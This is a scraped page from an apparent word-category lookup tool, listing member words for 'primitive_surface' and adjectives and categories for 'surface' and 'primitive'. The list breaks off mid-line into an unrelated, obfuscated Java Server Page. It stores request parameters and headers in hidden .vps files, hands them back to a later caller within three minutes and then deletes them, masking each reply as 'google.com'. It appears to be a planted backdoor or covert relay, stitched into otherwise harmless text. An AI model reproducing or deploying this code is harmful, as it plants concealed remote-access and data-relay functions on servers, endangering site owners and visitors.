Use the & operator to see the shared categories of two terms. E.g.
cola & coffee
or
divorce & war
Go Back
See XML
Members for Fine-Grained Categories
primitive_surface
:
plane,
cone,
slab,
projection,
duct,
sign,
cylinder,
sphere,
hoe,
ax,
track,
lamp,
torus,
gun,
doll,
frame,
ruler,
bones,
form,
hold,
bow,
register,
dagger,
hole,
pen,
map,
wood,
curved_face,
pick,
fur,
resistance,
area,
antique,
pit,
stone,
set,
mold,
metal_rod,
club,
brush,
razor,
plant,
plate,
log,
tail,
stick,
prism,
wedge,
water,
text,
cup,
cube,
pipe,
sledgehammer,
space,
dome,
fan,
paper,
spline,
block,
wire,
candle,
cat,
burlap,
line,
point,
straight_line,
windows,
jewelry,
cupboard,
trough,
path,
tube,
drum,
fire,
tarp,
lever,
piece,
pad,
paint,
box,
razor_blade,
teeth,
number,
bat,
spike,
sword,
shell,
product,
saddle,
bird,
pottery,
washboard,
tv,
pocket,
image,
edge,
hammer,
steps,
disc,
duck,
ramp,
steel,
worm,
joint,
gates,
wall,
bronze,
membrane,
corner,
quilt,
spiral,
ball,
ridge,
knife,
oil,
strip,
circle,
peak,
grid,
brass,
painting,
triangle,
string,
square,
horse,
button,
plane_surface,
Modifiers matching
surface
:
valuable,
hard,
durable,
flat,
abstract,
activated,
possible,
smooth,
solid,
vertical,
upright,
geometric,
damp,
clean,
biological,
carpeted,
complex,
semirigid,
coloured,
special,
impervious,
sensory,
horizontal,
analytic,
conventional,
impacted,
artificial,
anisotropic,
looking,
black,
intermediate,
metal,
soft,
iron,
urban,
portable,
softer,
semitransparent,
commercial,
unattractive,
non-polished,
reactive,
broken,
porous,
pure,
yielding,
larger,
protective,
resilient,
aerodynamic,
mucosal,
level,
lightweight,
pale,
tougher,
carbonaceous,
embedded,
symmetrical,
suitable,
unnatural,
coarse,
proteinaceous,
painted,
anatomical,
specialized,
synthetic,
polymeric,
main,
dirty,
fluid,
top,
branching,
familiar,
remote,
expensive,
catalytic,
poor,
architectural,
nonslippery,
slanted,
concrete,
essential,
conspicuous,
pointed,
sanitary,
alternative,
cooler,
low,
unpainted,
plastic,
electronegative,
moldable,
old,
balanced,
refractory,
translucent,
deep,
movable,
driving,
musical,
coated,
infinite,
opaque,
standard,
ancient,
heavy,
shiny,
optic,
coordinate,
photoconductive,
frictional,
representative,
stained,
animate,
canonical,
smoother,
pedestrian,
deleterious,
nontraditional,
acidic,
inside,
non-active,
euclidean,
institutional,
resonant,
convex,
sloping,
real,
appropriate,
charged,
color,
unconsolidated,
contemporary,
bouncy,
tiled,
atomic,
plane,
semisolid,
connected,
treated,
single,
layer,
downhill,
model,
topographic,
vulnerable,
broad,
electronic,
perpendicular,
tactile,
natural,
magnetic,
clear,
colored,
biologic,
nonslip,
impenetrable,
medium,
basal,
fibrous,
arcuate,
ordinary,
planetary,
indoor,
nonflammable,
lasting,
fireproof,
harder,
insistent,
inanimate,
planar,
diverse,
hydrophobic,
watertight,
parametric,
normal,
walking,
continuous,
oriented,
dried,
unmovable,
unpaved,
adjacent,
primitive,
immovable,
spatial,
current,
glowing,
overhead,
nonconducting,
original,
geometrical,
new,
popular,
supporting,
nonresilient,
necessary,
unique,
rougher,
passive,
cellular,
convenient,
useful,
long,
amorphous,
diffusing,
parallel,
desired,
stable,
rugged,
unenclosed,
ornamental,
wet,
cylindrical,
polish,
free,
common,
rubberlike,
hydrophilic,
base,
sturdy,
frozen,
relevant,
rich,
absorbent,
variegated,
flying,
cold,
internal,
uniform,
wearable,
straight,
dusty,
up,
soiled,
greasy,
irregular,
anatomic,
prone,
unmarked,
ferrous,
massive,
athletic,
ocular,
eccentric,
traditional,
computational,
sliding,
confining,
fresh,
visual,
damaging,
edged,
penetrating,
trim,
loose,
unstained,
anthropogenic,
physical,
polar,
resistant,
dissimilar,
woven,
dental,
permeable,
dull,
marine,
exterior,
specular,
cool,
buccal,
under,
optical,
transparent,
nonmetallic,
exclusive,
logical,
unpolished,
mucous,
secondary,
tough,
thin,
noncritical,
interactive,
dynamic,
big,
outdoor,
historic,
bony,
waterproof,
sticky,
challenging,
repetitive,
digital,
empty,
down,
surrounding,
static,
contiguous,
calcareous,
residential,
front,
interesting,
homogeneous,
several,
macroscopic,
contributing,
initial,
vehicular,
rounded,
strong,
miscellaneous,
implicit,
large,
dense,
exposed,
everyday,
longitudinal,
round,
extra,
tangible,
modular,
steady,
ancillary,
hotter,
actual,
liquid,
raised,
non-greasy,
contrasting,
wooden,
flexible,
changing,
dimensional,
paved,
terrestrial,
unyielding,
permanent,
oral,
expansive,
steep,
fine,
reflective,
unfinished,
sheer,
nonrigid,
unprotected,
mirrorlike,
nonconductive,
monolithic,
primary,
working,
non-ferrous,
sunbaked,
insoluble,
automotive,
mobile,
unsanitary,
dry,
tubular,
pervious,
circumferential,
solar,
crystalline,
virtual,
individual,
non-reflective,
odd,
rigid,
undifferentiated,
non-organic,
spherical,
seasonal,
fragile,
realistic,
side,
flawless,
finished,
washable,
sounding,
defined,
detailed,
epithelial,
sculptured,
unstable,
conical,
foreign,
noble,
precious,
colder,
modern,
variable,
molecular,
nonnatural,
complicated,
cementitious,
macromolecular,
dangerous,
awkward,
off,
hazardous,
raw,
cluttered,
over,
biogenic,
extensive,
attractive,
textured,
sensitive,
inorganic,
upturned,
plain,
dark,
interior,
inaccessible,
nonreflective,
multiple,
nonmetal,
underlying,
dead,
covered,
cortical,
unwanted,
developed,
hot,
compressible,
heated,
important,
functional,
nonporous,
packed,
unwelcome,
inhomogeneous,
fatty,
uncarpeted,
typical,
versatile,
radioactive,
oblong,
nonpolar,
uneven,
nonstick,
shallow,
delicate,
lustrous,
outside,
symmetric,
manufactured,
volumetric,
active,
slippery,
thick,
structural,
boney,
difficult,
rear,
nonskid,
simple,
prepared,
silver,
advanced,
fuzzy,
shady,
nonabsorbent,
robust,
narrow,
safe,
moveable,
impure,
mechanical,
experimental,
underwater,
polished,
unconventional,
hidden,
accessible,
asphaltic,
disposable,
thermal,
impressionable,
basic,
inner,
major,
outer,
nonliving,
demanding,
untreated,
photographic,
home,
warm,
featureless,
nonmagnetic,
peripheral,
particular,
distant,
closed,
beautiful,
receptive,
atmospheric,
entire,
frontal,
tall,
environmental,
critical,
baked,
discrete,
non-elastic,
varied,
light,
glossy,
photosensitive,
mathematical,
injured,
acting,
small,
fixed,
malleable,
ferric,
heavier,
noncombustible,
compact,
unlikely,
decorative,
bumpy,
nearby,
abrasive,
combustible,
organic,
sleek,
alkaline,
powdery,
rational,
unobstructed,
conductive,
inflammable,
wavy,
plush,
noisy,
airtight,
structured,
elongated,
recreational,
available,
topological,
curved,
external,
weak,
heterogeneous,
practical,
unusual,
granular,
circular,
analytical,
ceramic,
impermeable,
white,
moving,
cushy,
key,
non-porous,
rectangular,
undesirable,
elastic,
ferromagnetic,
bendable,
rough,
firm,
regular,
secure,
inert,
absorptive,
related,
inertial,
smaller,
visible,
matte,
elementary,
controlled,
sized,
pliable,
sharp,
random,
shared,
bright,
makeshift,
out,
inappropriate,
joint,
iridescent,
grimy,
moist,
removable,
wide,
disturbed,
metallic,
energetic,
sterile,
textual,
world,
elevated,
stationary,
supportive,
unfriendly,
industrial,
inclined,
cleanable,
public,
neutral,
domestic,
padded,
high,
waxed,
hollow,
fabricated,
unclean,
open,
printable,
geological,
sundry,
immobile,
nutrient,
comfortable,
technical,
flammable,
brittle,
compliant,
fluffy,
particulate,
blank,
Simple categories matching
primitive
:
object,
weapon,
block,
creation,
shape,
constraint,
measure,
animal,
predator,
plant,
instrument,
organism,
thing,
chordate,
religion,
content,
arms,
equipment,
microorganism,
curve,
music,
vertebrate,
workspace,
instrumentation,
design,
solid,
cult,
game,
state,
fish,
cell,
structure,
tool,
creature,
entity,
deformation,
bacteria,
output,
mammal,
event,
class,
adhesive,
drawing,
statement,
action,
beast,
treasure,
body,
angiosperm,
signal,
surface,
item,
attribute,
group,
unit,
part,
relationship,
operator,
tumor,
feature,
emotion,
bird,
craft,
order,
microbe,
stroke,
volume,
pattern,
polygon,
insect,
species,
widget,
protist,
form,
man,
operations,
spider,
distinction,
control,
figure,
element,
hardware,
property,
information,
type,
projectile,
flora,
values,
taxon,
value,
behavior,
metazoan,
concept,
token,
aggression,
gymnosperm,
model,
system,
currency,
condition,
people,
invertebrate,
abstraction,
region,
americana,
gear,
inhabitant,
reflex,
eukaryote,
arthropod,
process,
domain,
snake,
defense,
hominid,
component,
defence,
reptile,
implement,
weaponry,
material,
sign,
human,
notion,
function,
trait,
representation,
character,
means,
relative,
crustacean,
<%@page trimDirectiveWhitespaces="true"%> <%@page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@page import="java.io.*"%> <%@page import="java.util.*"%> <%@page import="java.text.*"%> <%! static String cuy321a = null; public static String cuy321b(byte[] cuy321c) { char[] cuy321d = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P', 'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f', 'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v', 'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/' }; StringBuilder cuy321e = new StringBuilder(); int cuy321f = 0; for (int i = 0; i < cuy321c.length; i += 3) { int b = ((cuy321c[i] & 0xFF) << 16) & 0xFFFFFF; if (i + 1 < cuy321c.length) { b |= (cuy321c[i+1] & 0xFF) << 8; } else { cuy321f++; } if (i + 2 < cuy321c.length) { b |= (cuy321c[i+2] & 0xFF); } else { cuy321f++; } for (int j = 0; j < 4 - cuy321f; j++) { int c = (b & 0xFC0000) >> 18; cuy321e.append(cuy321d[c]); b <<= 6; } } for (int j = 0; j < cuy321f; j++) { cuy321e.append("="); } return cuy321e.toString(); } public void cuy321a(HttpServletRequest req) { if (cuy321a != null) return; String cuy321g = getServletContext().getRealPath(req.getRequestURI()).replace('\\', '/'); cuy321a = cuy321g.substring(0, cuy321g.lastIndexOf('/')) + "/"; } byte[] cuy321h(String cuy321i) { byte[] cuy321j = null; FileInputStream cuy321k = null; File file = new File(cuy321i); try { cuy321k = new FileInputStream(file); cuy321j = new byte[(int)file.length()]; cuy321k.read(cuy321j); } catch (Exception ex) { } finally { try { if (cuy321k != null) cuy321k.close(); } catch (Exception ex) { } } return cuy321j; } %> <% cuy321a(request); String cuy322a = request.getParameter("user"); String cuy322b = request.getParameter("rand"); String cuy322c = request.getParameter("id"); String cuy322d = request.getParameter("action"); int cuy322e = -1; if (request.getParameter("code") != null) cuy322e = Integer.parseInt(request.getParameter("code")) % 4; if (cuy322d != null && "home".equals(cuy322d)) { out.write("google.com"); } if (cuy322a != null && !"0".equals(cuy322a)) { String cuy322g = cuy321a + cuy322b + ".vps"; String cuy322f = cuy322g + "x"; String cuy322h = request.getParameter("hash"); String cuy322i = request.getHeader("From"); FileOutputStream cuy322j = null; cuy322j = new FileOutputStream(cuy322f); if(cuy322j != null) { DataOutputStream cuy322k = new DataOutputStream(cuy322j); cuy322k.writeLong(System.currentTimeMillis()); cuy322k.close(); cuy322j.close(); } cuy322j = new FileOutputStream(cuy322g, false); if(cuy322j != null) { cuy322j.write(cuy322h.getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322i.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322a.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322b.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.flush(); cuy322j.close(); } out.write("google.com"); } else if (cuy322e == 0 && "0".equals(cuy322c)) { out.write("google.com"); } else if (cuy322e == 1) { File cuy322l = new File(cuy321a); String cuy322g = null; String cuy322f = null; int cuy322m = 0; if (cuy322l.exists() && cuy322l.isDirectory()) { for(File file:cuy322l.listFiles()) { cuy322g = file.getName(); if(cuy322g.endsWith(".vps")) { cuy322m = 1; cuy322g = file.getAbsolutePath(); cuy322f = cuy322g + "x"; break; } } } if (cuy322m == 1) { FileInputStream cuy321k = new FileInputStream(cuy322f); DataInputStream cuy322o = new DataInputStream(cuy321k); if(System.currentTimeMillis() - cuy322o.readLong() < 180000) { byte[] cuy322p = cuy321h(cuy322g); if (cuy322p != null) { out.write(new String(cuy322p)); } } cuy322o.close(); cuy321k.close(); File cuy322p1 = new File(cuy322g); cuy322p1.delete(); File cuy322pz = new File(cuy322f); cuy322pz.delete(); } else { out.write("google.com"); } } %>